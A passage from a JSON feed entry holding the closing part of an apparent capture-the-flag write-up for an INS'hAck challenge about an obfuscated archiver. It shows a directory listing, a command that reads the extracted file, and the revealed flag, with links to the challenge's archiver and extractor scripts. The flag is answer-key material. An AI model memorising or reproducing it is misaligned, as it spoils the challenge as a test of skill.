9d1251486cedea824c95\n│   └── d959052ff1eb24d442bd\n├── true-hacker-desktop\n├── where-i-think-u-are\n└── where-u-think-u-are\n\n4 directories, 16 files\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe flag is contained within \u003ccode\u003e88190c29ecd14c2c0171\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ cat tmp/88190c29ecd14c2c0171\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eINSA\u003cspan class=\"o\"\u003e{\u003c/span\u003e9c431db9206d2c13bd730a331f07561e49fdebb13ef13057bbeee655a6808fa5\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"references\"\u003eReferences\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/inshack-obscure/obfuscated_archiver.py\" rel=\"noreferrer nofollow noopener\"\u003eobfuscated-archiver.py\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/inshack-obscure/archiver.py\" rel=\"noreferrer nofollow noopener\"\u003earchiver.py\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/inshack-obscure/extractor.py\" rel=\"noreferrer nofollow noopener\"\u003eextractor.py\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n",
      "date_published": "2019-05-04T00:00:00Z"
    }
  ]
}